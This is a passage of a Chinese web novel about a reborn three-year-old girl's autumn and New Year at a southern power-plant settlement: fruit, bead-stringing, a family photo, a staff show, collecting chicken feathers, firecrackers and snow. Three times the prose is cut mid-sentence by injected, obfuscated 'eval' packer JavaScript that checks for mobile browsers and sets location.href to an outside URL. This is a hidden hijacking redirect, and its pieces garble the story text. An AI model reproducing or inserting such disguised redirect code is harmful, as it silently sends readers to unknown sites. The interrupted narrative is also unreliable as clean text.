医务所属于电厂的下属部门，看病都是免费的，用药也十分便宜，所以每到三六九逢圩的时候，就有很多来赶集的老表会来看病，每到这个时候，医务所的医生们都会忙到起飞，中午都没有办法准时下班。 不过好在逢圩时间都是早上和上午，最多就是中午辛苦一些，下午就好多了。 今天又围观了一下老师们撒蛇药，下午回家后，马丽丽发现家里多了好几袋水果。 哇，这可是个稀罕的东西。 在物流还不发达的时候，人们大多只能吃到本地种植的东西。 别说北方人了，就算是马丽丽生活在幸福小镇这样的南方小镇，也是13岁才第一次见到菠萝长什么样。 幸福小镇周边农村都有种一些柑子桔子柚子杨梅板栗，但大多数还是以种植粮食为主，水果没有大规模种植，产量特别低，基本上就是种来自己吃的，没有经过什么择优、育苗，所以个头也不大。 晚上马丽丽回家后发现家里多了两个柚子和一袋橘子，“柚子是人家拿的，橘子是今天买的，丽丽，你不能一起吃完哦。” “我知道啦，妈，妈，给我剥柚子。” “就知道吃。” 虽这么说？徐明惠还是帮马丽丽把柚子给剥了，柚子不大，剥开后大概就像大人双手抱拳那么大，没有经过选育的本地柚子汁水不多，干干的，但一点不酸，特别清甜，柚子味特别浓。 马丽丽已经很久没有吃过这样的柚子了，后世的柚子追求产量，个头很大汁水也特别足，但是吃起来很酸，也没有什么柚子味。 马丽丽一个人就吃掉了一整个柚子，剩下那个没有剥皮，想来妈妈也不会帮她剥了。 不能吃柚子，她又跑去拿了一个橘子，橘子有大有小，但都是在树上长成熟后才被摘下的，汁多味甜又新鲜。吃完一个马丽丽又忍不住去拿了一个，然后是第三个…… “马丽丽，我怎么说的来着？这一袋橘子，你是想一口气吃完吗？”徐明惠出现的很及时，马丽丽这才发现橘子就剩四个了。 “怎么买这么少呀？”玛丽丽忍不住抱怨。 “再多也经不起你这样吃，好了好了，不许再吃了，吃这么多橘子，你还吃得下饭吗？”徐明惠把袋子拿起来，打了个结。 没有零食，生活真是没有乐趣呀，嗝。 马丽丽主动把橘子皮和柚子皮都收拾了一下，顺便把橘子籽和柚子籽都留下了。 “你要这些东西干什么？”徐明辉一边端菜出来，一边问马丽丽。 “我想种一下试试。”马丽丽的意思是种出几颗绿芽来观赏植物，但马天华还当女儿是爱吃水果，想在家自己种几棵树呢。 “这可结不了果子呀。”马天华好笑的说，“不过丽丽要是喜欢吃，我们倒是可以春天的时候买几颗果树来种。” “好呀好呀。”马丽丽喜出望外，“那我要种桃子和橘子。” “桃三李四柑八年，桃子倒是可以，橘子就算了吧？那得种好多年，等你长大了才能吃得上呢。” “啊，是这样吗？”原来如此，马丽丽想，难怪上世他家就种了三棵桃树，原来这个快。 “种枇杷也行，这个也快。”徐明惠过来说，“好了，这个以后再说吧，吃饭了。” 秋天是幸福的季节，见马丽丽爱吃，马天华在下次逢圩时买了一麻袋的柚子，电厂也给每个职工发了橙子做福利。 但这还不是全部，板栗和柿子也正是上市的时候，姥姥孙梅买了一些脆柿子，吃起来有些涩嘴，她便放在了米袋里，过了半个月再拿出来柿子就变得又脆又甜了。 物以稀为贵，板栗有点贵，但是每年秋天都是必要买的。新鲜的板栗买起来得一个一个的挑，有虫眼的和捏起来扁扁的软软的都不能要。好的板栗都是半椭圆形，洗干净放在锅里煮熟，吃起来又粉又甜。 除了这种大板栗，还有一种特别小的指甲盖大的栗子，叫坨栗子，这种栗子要生吃，吃起来脆甜脆甜的，就是有点费牙。 秋天之后，圩上也会有卖各种野果子的。有一种土话叫“八月拉”，后来也有叫八月瓜、八月炸的野果子，熟透后金黄色捏起来软绵绵的。 果皮特别厚，打开后里面是一排一排的黑色心形种子，种子外包裹着薄薄的果肉，吃的时候一大口籽吃进去，仔细把薄薄的果肉舔下来，再把籽吐出来，那叫一个废劲。 不过这心形的种子也不浪费，弄干净后，小姑娘们喜欢把这些籽穿成一串，也不干嘛，就是玩儿。 女孩子的本性就是爱穿珠子。 除了各种形状的野果籽，还有一种专门用来穿珠子的草籽，草珠子很硬，有深色有浅色，上面还有花纹。 这种草珠子天然中空，不需要再另外打洞，所以特别适合用来穿珠子。到了季节，附近家里有这种草的学生会专门摘了许多草珠子来送给女同学们。 徐明红也弄了一大包回来，在穿之前还得先处理一下，中间的洞里还有干草，得小心又仔细的拔出来，拔不干净或是折断在里面就不好看了。 弄干净的草珠子串成串，多的时候可以用来做门帘，保存好的话几十年都不会坏，马丽丽以前就给姥姥家做了这么一副，后来就一直挂在徐明红的门口。 马丽丽对这种机械重复性手工十分容易上瘾，别说草珠子了，曾经她还用空的圆珠笔芯切片串成锁链，没什么用，哎，就是玩儿。 如今马丽丽觉得自己还是得克制一点，都学绣花了，其他的玩意儿还是能不玩就不玩了吧？ 天气越来越冷，身上的衣服也从长袖外套再加秋衣秋裤，再加毛衣线裤和棉袄的时候，冬天就来了，冬天到了，过年还远吗？ 电厂做腊货的人多了起来，许多人家陆陆续挂出了香肠、腊肉、牛肉干、板鸭，每家都有自己口味，都有自己的配方。 晒菜干的也多了起来，叶子菜和豆角晒的最多，晒干了冬天炖肉可香，还有晒花生，晒番薯、南瓜的，可以做个零嘴。 小孩子嘴馋，每每看到这些总是忍不住抓一小抓塞进嘴里。有一回马丽丽还看见一个大婶在晒花生米，另一头一个穿开档裤的小男孩就在捡着吃。 马丽丽当时还以为这俩人是一家的，结果大婶铺完花生米，对着那男孩呵斥道：“臭小子，不许再吃了，生花生吃多了可肚子疼，到时候别来找我。你是哪家的小子啊？” 马丽丽：？？ 过年的心情其实是循序渐进的，越靠近除夕，心情越是期待，气氛越是浓烈，年味这不就来了吗？ 今年过年正好轮到马天华值班，没有办法回老家过年，所以他在过年前带着家人一起回了一趟老家里，顺便带了一波包子馒头花卷和报纸杂志小说。 最近电厂应广大职工要求准备增加一些娱乐设置，图书馆新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990259|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进了一批小说，十分热门，每人每次只能借两本，马天华还是因为趁着就在图书馆对面上班的便利抢先借到的。 “干得好。”奶奶觉得有点小开心，她对二儿子说：“今年你爸六十了，趁大家都回来了，明天叫了照相馆的人来，照个全家福，记得呆会儿跟你媳妇说一声，明天早上捯饬好点儿。” 马天华缩着手说：“啊，怎么不早说啊？” “早说还能先写个信啊？你还要怎么穿件新衣服来是怎么的？” 这也不至于。 徐明惠知道了也不由的审视了一下自己穿的衣服，嗯，还行，就是明天早上得把脸洗干净点。 第二天早上儿媳妇们的想法都差不多，多多的烧了热水洗了手脸，又一起拿着梳子整理头发。今年流行烫小卷发，除了马洁妈妈和马冬剑妈妈，其他儿媳妇都烫了一样的头，大家相互看了看，力求能梳出不太一样的发型来。 虽然是全家福，但其实并没有包括姑姑们，只有老dia、奶奶和儿子们全家。 老dia和奶奶坐在最中间，两旁坐着抱着孩子的儿媳妇们，唯有大孙女马玲玲身高超标，只好蹲在爷爷奶奶腿前，六个儿子们站在最后。 “好，大家都看前面，保持一下不要眨眼。”冬天阳光不强，摄影师自带了一个闪光灯，“一，二，三！” “咔嚓”一声，闪光灯一瞬爆亮，马丽丽不由的抬了抬手想遮一遮。 “好了！” 这张马丽丽记忆中的，也是唯一的一张全家福就照好了。 相片一时半会儿拿不着，一共要洗七张呢，算是个大单子，也不枉费照相馆的摄影师带着工具亲自上门来拍。 回到电厂没多久，就说着准备过年的事了。 这天，马丽丽从温暖的被窝里爬了出来，自己穿好棉毛衣裤，又喊着妈妈帮穿好毛衣、棉袄、棉鞋，赶着时间刷牙洗脸。 马天华在厕所蹲坑，一边大声的唱歌，马丽丽问她妈：“老爸边拉屎边唱歌，演出的时候会不会一唱歌就想拉屎啊？” 徐明惠：“……”就你想的多。 今年过年电厂准备搞一次文艺汇演，就在今天下午。表演的都是电厂职工，医务所出了个合唱的节目，马丽丽的爸爸被选作领唱，这让他有些紧张，这段时间都在练习。 有演出也得上班，上午的班大家上的都十分的心不在焉，吃了午饭，有演出的就开始准备了，换服装的换服装，化妆的化妆，搭道具的搭道具，练习的练习。 有的女职工要参加节目的，还要抽空回家准备晚饭，那叫一个忙碌。不过大家对演出都挺兴奋的，难得有机会化妆，还能穿漂亮衣服，就算多跑两趟也值得啊。 演出三点开始，其实也就一个半小时两小时不到，但马丽丽可算是大开了眼界。 万万没想到电厂里人才竟然还有这么多。 唱歌跳舞自然是主流，很快民兵队上场了，一套军体拳真是一阵叫好；打天津快板的可惜设备不给力有点听不清；后面吹笛子的学乖了，干脆让人在面前举着话筒；后面还有唱京剧的，年轻人不喜欢，年纪大的却喝彩连连。 但是最出彩的却是一个模仿济公的。伴随着“鞋儿破，帽儿破……”的歌曲，这人穿着破袈裟一手拿着破蒲扇一手拿着道具葫芦，假装喝醉颠三倒四的在台上走来走去，台下小孩眼都直了，全部跟着跑来跑去，哇哇叫个不停，全场更是笑声不停。 由此，“济公”也变成了此人的外号，即使过了二十年，人们一说起他，还是“那个演济公的人”。 演出结束了观众们还意犹未尽，晚饭都吃的热闹了不少，感觉不比春晚差。 17.第十七章 马丽丽做了一个梦，她梦见自己躺在床上，旁边有人在大声喊叫，但她听不清楚，她又感觉自己其实躺在水里，只有鼻子嘴巴露出水面，似乎就是幸福小镇那条河，她想起来，可是微微一动水就渗到鼻子嘴巴里，让她不敢再动。 这条河我可真是太熟了，没事，马丽丽想，她企图靠近岸边，可是河水却十分缓慢但坚定的将她推离河岸，真是让人焦虑，于是马丽丽就醒了。 倒霉倒霉倒霉，为什么大过年的做这种梦，马丽丽翻了个身顺便看了一下闹钟。 马丽丽：！！什么！！九点十分了！！今天的早课时间都错过了！ 不能躺平不能躺平，马丽丽这么鼓励了一会自己，哎嘿！坐起来了。 其实一鼓作气就会发现没这么难，早课赶不上午课也要有。 今年冬天可太冷了，马丽丽最近感觉手指头痒痒的，怕不是要生冻疮了，这可不行，这玩意生了就容易复发，长多了手指还会变形。 “我也要手套。”马丽丽对妈妈说。 “小朋友要什么手套，哪有你能戴的大小。”徐明惠哈了口气。 “那你给我打一双嘛。” “不会，找你姥去。” 马丽丽：……我可真是不意外啊。 姥姥自然有办法。 姥爷烂得不能再穿的工裤腿上，马丽丽把手放上去画出四个形状来，就是只把拇指分开的那种，把布片剪下来三两下绣几朵小花，再缝上，中间塞棉花，手腕里面缝上一根旧皮筋，完成。 “姥姥最厉害！”马丽丽试戴了一下，虽然弹性不大够，但是温度够就行啦。 明年我非自己打一双不可，马丽丽心想。 “我也要。”徐明红一开始还心里嫌弃，见着成品了又想要。 “你的可不绣花了，没那功夫。”孙梅给徐明红也画好模样。 “我才不要咧，小孩子才喜欢的东西。”徐明红嘴硬。 “我可以给你绣哦，小姨。”马丽丽倒是想试试手。 “不要。” “让我试试嘛，我给你绣个竹子吧，让我绣一个让我绣一个。”马丽丽扒拉着徐明红。 徐明红假装不得以同意，“好吧好吧，不好看我可不要。”她又赶着加了一句：“你可得给我赶紧的，我也冷啊，你可别绣个几天还搞不好。” “放心吧，一会儿就有。” 图还是姥姥给勾勒的，不大，但越是小图越考验眼力和手劲。 是时候展现真正的技术了！马丽丽穿针走线，飞龙走凤，一会儿就绣好了，还用了两种针法和两种绿色的线。徐明红心中满意的不行，她摩挲着新出炉的手套，“看不出来啊，马丽丽小朋友，你还真有一手嘛。” 原本洗刷白的蓝布料看起来旧旧的，加上一点绣花显得好看多了，徐明红撇了一眼马丽丽手套上的小花，哎，还是那个好看，但她又不好意思说，竹子也不错啦。 “你们在干啥呢？”徐高远推开门，发现客厅里一个人都没有，大家咋都在房间里。 “看，手套！”马丽丽给他展示了一下。 “不稀罕。”徐高远有自己的手套，对这种改装品敬谢不敏。 徐高远带来了一挂小爆竹，冲着徐明红和马丽丽说：“走不走？放炮去。” “去！”徐明红翻箱倒柜找出一根香，去厨房点着，“妈，我们下去玩会。” “一会你爸回来就吃饭了。” “就一会儿，小哥带我们去。” 孙梅伸头叫道：“高远，你小心着点，别崩着，看着丽丽。” “我知道，妈。” 客厅里，徐高远严肃的问马丽丽：“马丽丽小朋友，你昨天早上是不是用镜子晃我房间了？” 徐高远回厂上班后分配到了一个宿舍单间，厕所厨房水笼头都共用那种。 宿舍就在徐家马家小楼的对面，只隔着小河，而徐高远的房间窗户正对马丽丽家客厅窗户。 马丽丽前世小时候就喜欢用镜子反射光去照小舅舅的房间，昨天早上她手痒又来了一回，没想到正好徐高远拉开窗帘，直接就照他脸上了。 “小舅，你昨天早上咋这么早起？平时都没见你这么早拉窗帘的 。”马丽丽倒打一耙。 “我……过年不得早起？” “小哥，你们说啥呢，赶紧的走啊。”徐明红一脸兴奋举着香过来，“爆竹呢？” “在我这，走吧。” 三人来到楼下，徐高远掏出一挂小爆竹拆散了，给了小妹两个，“先试试。” “这么小。”徐明红也就嘴上说说，她拿着爆竹找了半天，最后把爆竹插在水泥砖缝里，然后用随时准备逃跑的姿势伸长手用香点着引线，转身就跑。 “……啪。”爆竹小小声的爆了。 “看你能的。”徐高远拿过香来，在手上点燃两个小爆竹，引线快燃尽了才迅速扔出去。 “啪啪。” “小舅厉害。”马丽丽立刻吹捧。 徐高远拆出一个爆竹，“你要来一个吗？” 马丽丽摇摇头，“我不来。” “我放地上你点一个。” “我不来。” “她不敢我来啦，小哥再给我一个。” “那你像我这样点了再扔试试。” “……我不。” 点爆竹一般有两种方式，一种就是徐明红那样，把爆竹放地上点 ，另一种就是像徐高远这样，拿手上点着再扔，还有进阶版，把 引线剪短或是烧到只剩一点才扔出手，拼的就是一个手速，刺激。 曾经的马丽丽也是扔爆竹的好手，不过有一年她和小伙伴在楼下玩的时候，有一个小伙伴点了个大炮，所有人都停下手捂着耳朵躲开。可是马丽丽不知道她手中的爆竹已经点着了，结果爆竹在耳朵边炸开，耳朵和脑子都嗡嗡的。 所以马丽丽决定，从此以后……玩爆竹得小心点，反正三岁的她是不玩的。 一挂小爆竹不算多，两下半就放完了，徐明红意犹未尽，便鼓动徐高远：“小哥，我们去把明天的爆竹拆几个下来放吧？” “明天的爆竹”就是除夕晚饭吃饭前放的爆竹，不知道是哪的习俗，电厂的人过年年夜饭前都会放一个卷筒的长爆竹，早早吃完晚饭的小孩还会去捡没点着的单个爆竹来放。 徐高远十动然拒，小丫头片子挺敢想，那个也是能动的？大过年想吃竹笋炒肉？他拍拍手问徐明红：“一天到晚就知道玩，今天可过年了，你寒假作业写完了吗？” 徐明红：“大过年的说什么呢……啊，刚才我看到爸回来了，我们回去吃饭吧。”说完不等徐高远反应就噔噔噔上楼去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995157|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 徐高远又看向马丽丽。 马丽丽笑的天真，“托儿所没有作业，不过孙爷爷让我听广播背单词，小舅我背几个你听听对不对。” 徐高远：“……吃饭了背什么单词，走上楼去了。” 马丽丽：“哦，好。” 吃了饭马丽丽拿个小篮子遛遛达达到处闲逛，看见有在杀鸡宰鸭拔毛就上前蹲着问：“阿姨/婶婶/姐姐/叔叔，这鸡/鸭毛能给我吗？” 不认识的稀奇看她：“你是谁家的小朋友啊？” 马丽丽：“我爸爸是马医生，我妈妈是徐老师。” 这么一说别人就明白了，又问：“你要这鸡/鸭毛干嘛呀？” 马丽丽：“我想卖钱换糖吃。” 虽然幸福小镇地处偏僻，但这里有两个国营单位，所以时常有小货郎挑着些小东西来卖，顺便收点小破烂。 鸡毛也是会收的，还不便宜，一块钱一斤毛，可是人家不收湿毛，得把腥臭的鸡毛晒干保存好等人来了再卖。一只鸡才几根毛啊，这一分两分的都不稀罕，不换钱也行，还能换糖，可这糖也是小小一块，小孩含嘴里一会儿就没了。 这玩意不压称味大还容易跑不好留，怎么想换钱都太不划算，一般杀了鸡鸭都是直接扔，所以马丽丽问人要，别人基本都给了。有讲究的帮她用水漂了漂，把血渣子洗了，不讲究的直接把扔在地上的鸡毛抓起来给她扔篮子里，马丽丽也不在意，反正都有味儿，洗也没用。 湿毛不占位，马丽丽把附近都逛了一逛，只要在外头杀鸡鸭的都一网打尽，她甚至还在垃圾堆里扒拉了一团毛，虽然腥臭的很。 收完毛，马丽丽到自家柴房，柴房门上有个小锁，但是没锁，就是有点高，马丽丽把旁边的木头墩子挪过来踩着拿下锁打开门。 柴房里都是打家具后剩下的板子和准备用来打家具的板子，还有一些杂物，马丽丽之前让姥姥帮忙把几块长板子放在条凳上拼成一块，这会儿上面就放着前几天她弄的毛毛，上面还压着两条小木板。 马丽丽摸了摸，板上的毛毛都干了，于是她把毛毛都装进一个大袋子，这里面已经装了不少毛毛了，然后她把今天收集来的湿毛毛都铺在板子上。整个过程是小心翼翼加轻手轻脚，一个不小心毛毛就飞上了天，还得一根一根捉回来。 好不容易忙完，马丽丽满头大汗，她出门垫着脚挂好锁，这才松了口气。 回到家，徐明惠看到马丽丽气不打一处来，“你又疯哪去了，怎么一身这么脏？还这么臭！”她伸手从马丽丽头上拿下一根鸡毛，“你钻鸡窝里去啦？”说完她想到柴房里那袋毛，“你这是去哪弄鸡毛了？” “没有呀，今天不是很多人杀鸡的嘛。”马丽丽闻了闻手，咦~真的臭死了。 徐明惠可算是服了，“你还问人家要鸡毛啊？” “啊恩。”马丽丽伸手，徐明惠差点熏吐，一股子鸡屎味，“赶紧给我去洗手！” “哦。” 香皂刷子都舞起来，好半天徐明惠才感觉好点，不过她总感觉自己大概是鼻子已经闻惯了都闻不出臭来，于是干脆烧水给马丽丽洗了个头洗了个澡。 没有吹风机的年代，头发干只能靠风吹日晒，所以冬天洗头容易感冒，徐明惠把马丽丽送去姥姥家，那边烧灶呢，可以烤干，顺便蹭个饭。 18.第十八章 第二天一早，马丽丽被一阵噼里啪啦的爆竹声吵醒，这爆竹放的越来越多了，不过话说回来，没有爆竹声还能叫过年吗？马丽丽决定以后有了手机就把爆竹声给录下来，等禁爆竹的时候再放。 马丽丽在被窝里打了个哆嗦，伸出头来，一脚把装着汤婆子的布袋踢出被窝。 “起床啦，小丽丽，今天过年呦。”徐明惠听到动静过来，母女俩在床上腻歪了好一会儿，妈妈这才给马丽丽穿衣服。 “妈，我们也买个电热毯吧？”马丽丽十分怀念这个冬天神器，虽然她很珍惜滴水成冰的日子，但是没有电热毯的冬天还是只存在记忆里比较好。 “电热毯？”徐明惠一边给马丽丽套毛衣一边问：“你从哪听来的？用电的毯子要是漏电怎么办？是孙爷爷说的这个东西吗？” “……啊……我有一次听他说的啦。” 什么情况？难不成现在还没有电热毯这玩意儿？马丽丽心想，那还是得再买俩热水袋啊，一个都不够，太冷了这天。 穿了毛衣又穿棉袄，穿了棉袄又穿罩衣，穿了毛裤又穿棉裤，穿了棉裤还有棉鞋，好不容易都穿好了，马丽丽感觉现在自己又是一只圆滚滚，手脚都打不了弯那种。 我可真是太难了。 “好了，刷牙洗脸去。”徐明惠扶着马丽丽在地上站稳。 刷完牙洗完脸吃早饭，早饭又是泡饭馒头和榨菜，真是怀念有牛奶喝的日子啊。马丽丽打开收音机，又抓起一个馒头，收音机里传出俄语的流行音乐，她一边吃一边听，不时还跟着唱两句。 徐明惠呼噜呼噜喝了两口泡饭说：“别唱了，赶紧吃，今天过年可忙着呢。我等下要去姥姥家帮忙，丽丽你跟我一起去。” “那爸爸呢？” 马天华说：“我值班，等下还要去医务室，不过没什么事可以早点回来。” 徐明惠：“那你中午早点过来，下午呢，下午还去？” 马天华：“下午可以不去了。” 徐明惠：“那你下午先洗头洗澡。” 马天华：“不去澡堂吗？丽丽下午也洗吗？” 徐明惠：“哪有空去澡堂，今天澡堂肯定不晓得几多人，等中午吃完饭我先给丽丽洗，她昨天洗了头。” 马天华点点头表示知道了。 马丽丽：“哎呀别说话，我都听不清了。” 马丽丽早就想好今天上午再去收一波毛毛，她说：“我先不去姥姥家，我要在下面玩。” 徐明惠可不理她，反正都得先一起去姥姥家。等忙起来后，徐明惠把马丽丽交给徐明红，让她带着外甥女去楼下玩。 “等会儿，我准备一下。”马丽丽说。 “去玩你还准备什么？”徐明红看着马丽丽在罩衣外带上一副小袖套，又翻出孙梅的一副劳动袖套套在腿上，又戴上帽子和手套。 徐明红：“……你要干嘛？” 马丽丽：“收鸡毛！”挺胸。 徐明红：what？.jpg 太丢脸了，徐明红表示拒绝。 马丽丽不怕丢脸，她提着篮子雄赳赳气昂昂一个人去了，徐明红远远的跟着，只见前面的小孩跑到公用水笼头前，挨个问人家能不能白送鸡毛，然后把臭烘烘的毛毛就这么扔进篮子，别人逗她两句她也回两句，大家伙居然还挺开心。跑了几个水笼头，马丽丽的篮子就装了个半满。 徐明红：人才啊…… 然后是到了柴房，徐明红又是一次瞳孔地震。她是知道丽丽在收集鸡毛啦，她还帮忙在同学中宣传了一下，很丢脸的体验，但是万万没想到小家伙竟然已经收集了这么多。 “你都搞了这么大一包了啊，这有……好几斤了吧？”徐明红提了提袋子估量了一下，还挺重，麻袋也有重量，但这明显坠手了。 “不是哦。”马丽丽指了指上面，“那里还有一包。” 徐明红：“……”厉害了我的大外甥女。 回家后徐明红忍不住对老妈说起这事儿，孙梅但笑不语。 你以为柴房里的板子凳子袋子都是谁弄的啊？ 趁着客厅没人，马丽丽把身上的袖套手套帽子罩衣全撸下来揉成一团。这时徐高远从厕所走出来，一身水气一边用毛巾擦着头发，一边把一桶脏衣服放在门口。 徐明红上前打掩护，“小哥你就洗完澡了？” 徐高远：“昂，干嘛不行？你也赶紧去洗，洗完吃饭。” “哎。” 马丽丽在徐高远身后迅速把她那团衣服塞进脏衣服桶下面。 “吃饭吃￥！@％”徐明红开心的声音被外面噼里啪啦的爆竹声淹没。 除夕中午吃米饭，主菜是红烧肉和鸡汤，唯二的两只鸡腿一只给了老爷子，另一只落在马丽丽碗里。马丽丽用手拿着鸡腿递到咽口水的徐明红面前，“小姨，你咬一口。” 徐明红二话不说，对着肉最多的地方一口咬下一大半，一本满足。 徐高远笑着说：“小红你还真好意思抢丽丽的鸡腿。” 徐明红含糊着说：“她让我吃的。” 徐正义没好气，“她叫你吃你就吃啊？那你也让让啊。” 徐明红赶紧吞下肉，“没了。来来，丽丽，吃鸡头不。” 马丽丽给了她一个白眼，“小姨，我要吃鸡脑子，其他你吃。” 徐明红闻言把鸡头放回汤里，“我才不吃。” “你不吃还给我吃，哼。”马丽丽两三口把鸡腿啃完，“那你给我夹鸡翅膀。” “哎行行行。”徐明红一边勺汤一边说，“吃了你一口鸡腿这个费劲。” “那你不吃就不给我夹啊，小气包。” “夹夹夹，两个翅膀都给你，还要啥？” “吃完再说。” 鸡汤烫的很，马丽丽边啃鸡翅膀边吹汤，一会儿菜都上齐了，大家正式开动。 “来，大家喝一个。”徐正义作为大家长举起了……水杯，他被严令禁酒，大过年的也只好喝点糖水。 “来来来，妈，你也喝点酒。”徐高远先给孙梅倒上点今年新做的米酒，然后举碗。 “新年好。” “新年好。” 大家都举起了碗，不管碗里的是酒还是汤。 吃完饭徐明惠提着一桶脏衣服回家，马丽丽听见隔壁孙振华家传出热闹的声音，老爷子的儿子女儿两家都回来过年，屋子都住不下，还得住招待所。 马丽丽琢磨着要不要去把人家家里两个小孩子也约出来玩，就不知道这城里头的孩子愿不愿意跟乡下人混一起玩？ 马天华去吃饭前也已经洗完了澡，徐明惠让他去烧水，自己把放在房间的洗衣机拖到厕所门口准备洗衣服。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996541|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这可稀奇，还没洗衣机高的马丽丽搬了凳子踩上去看，她很久都没见到这种老式的双缸洗衣机了。 家里的洗衣机是个没听过的牌子，淡绿色，入水管得现接到水龙头上，两个缸分别有盖子，一边是洗衣一边是甩干，操控的按键有三个，弱、标准、强，然后是三个扭键，一个是洗衣时间，15分钟、30分钟、45分钟、60分钟，扭开就开机；一个是漂洗的次数，另一个是甩干时间。 基本洗衣功能都有，就是得自己手动放进去，还得自己手动注水，总之全程得有人在旁边看着。 徐明惠趁洗衣的时候就给马丽丽洗澡，脱下来的衣服呆会又是一桶，泡完马丽丽的洗澡水还可以洗衣服，然后自己也洗头洗澡，之后就是马天华的工作啦。 “哎，累死我了。”徐明惠抱着香香软软的女儿倒在床上，蹭了蹭她的脸蛋，“睡觉睡觉。” 马丽丽：睡什么睡，起来嗨！ 等老妈睡着了，马丽丽爬下床，自己穿好棉袄罩衣。 “爸，我去玩了。” “等会儿。”马天华一把拉住马丽丽，“你去干嘛？外面冷的很，就在家里。” “他们都在外面玩，我也去。” 就是不想让你去。马天华道：“外面放爆竹太危险，等你妈醒了带你去。” 好吧。 可是家里太无聊，马丽丽爬上沙发向窗户外看，对着手哈气，心想，难怪我小时候总觉得日子过得慢，什么娱乐都没有，可不是慢吗？强迫自己去学习一下好了。 马丽丽正准备下地，突然眼前划过一个白色的小点，她立刻瞪大了眼睛，很快又是几个小白点飘了下来。 “下雪啦！”马丽丽激动的叫起来，幸福小镇地处南方靠近粤省，能下雪的日子真是少之又少。 马丽丽正叫着，只听楼下一声大吼，“下！雪！啦！”接着便是各楼小孩子们欢呼着跑下楼的声音。 马丽丽：今天我就把话撂在这儿，谁都不能阻止我出门玩！ 马天华：……事态发展不受控制，我尽力了。 马丽丽开心的跑下楼去，楼下有好些同样穿得圆滚滚耳朵手指红红的小朋友们，他们都保持着同一个奇怪的姿势：抬头，张嘴，伸舌头。 一颗小小的雪朦子落在舌头上，咋咋嘴，没啥味，继续张嘴等着，甚至看到一颗雪朦子落到旁边还会张嘴去追。 马丽丽当然不能干这种蠢事，她小心走到姥姥家楼下，叉腰大喊：“小姨，下雪啦，快下来！” 徐明红刷的拉开窗帘，“马上，等我一下。” “带个手套给我。” “知道啦。” 徐明红又合起窗帘。 隔壁也有动静，孙振华也打开窗户伸出头来看，马丽丽又喊：“孙爷爷，下雪啦……出来玩吗？” “不来，等会儿。” 出身北国的孙振华当然看不上这点小雪，不过马丽丽问的其实也不是他，孙老头两个孙女外孙这辈子还没见过雪呢。 只听楼上孙振华叫了几句，过了一会儿，二楼两个房门同时打开，徐明红和隔壁两个孩子一起下楼来，孙振华的儿媳妇还抄着广普在后面叫：“熏（孙）甜甜，况（看）好里（你）弟弟也，普（不）要去看人家放炮啊。” 孙甜甜大叫：“知道啦。”她的口音还算标准。 19.第十九章 下楼来几人大眼瞪小眼，孙甜甜主动问马丽丽：“你就是马丽丽，我爷爷说过你，上次你外公来粤市的时候，我还见过你妈妈呢。给，这个给你们吃。”她拿出几颗大白兔奶糖给大家分了分。 徐明红也不甘示弱，“这是我家做的冻米糖，尝尝，我是她小姨，马丽丽的妈妈是我姐。” 马丽丽：“……呃，这个哥哥是谁？” 孙甜甜名字叫甜甜也爱吃糖，她咬了一口冻米糖，眼睛一亮，爆米花做的耶，好吃，她的态度顿时亲热了许多。 “我叫朱至浩，她是我表姐，她爸爸是我舅舅。” 马丽丽明白了，“所以你叫孙爷爷爷爷，你叫孙爷爷姥爷。” “姥爷是什么？我叫外公。” “北方人就是叫姥爷啊，南方人才叫外公，这是方言，孙爷爷是北方人，所以你应该叫姥爷才对。”马丽丽信誓旦旦的纠正。 朱至浩犹豫了，“那，那我回家问问。” “所以我们站这干嘛呢？走吧？”徐明红舔着手指含糊的说。 两个年龄相近的女孩子立刻玩到了一起，而才三岁的马丽丽和男孩子则被嫌弃了。 马丽丽：啧！ 没有太多娱乐的年代孩子们只能自己找乐子，几栋楼的孩子们很快就混在了一起。 大家充分利用了下的那点子雪朦子，比如找水泥墩子树叶上的雪堆在一起做个小雪人，这波主打就是一个精致，或者在有坡度的水泥路上拿个麻布袋子坐着，或干脆蹲着，就这么“滑雪”，这波主打就是费衣服和鞋，还有几个不讲究的男娃子直接把雪颗子和泥巴团起来“打雪仗”，这波……主打的是费屁股。 等各家呼唤崽子们回家吃年夜饭的时候，两家的小朋友才分开。 徐家的年夜饭是饺子，孩子们一回家，饺子就下锅，等她俩洗干净手脸坐在桌前，饺子就上桌了。 “等会！”徐高远点好香，一百响的爆竹早就高高的挂在衣叉子上，他举着爆竹下楼去，徐明红和马丽丽一个从小房间的窗户一个在阳台向下看。 “噼里啪啦噼里啪啦……”不光楼下，许多地方也响起了爆竹声。阳光渐下，爆竹声声不停，远近不歇，年味十足，就是吵的很。 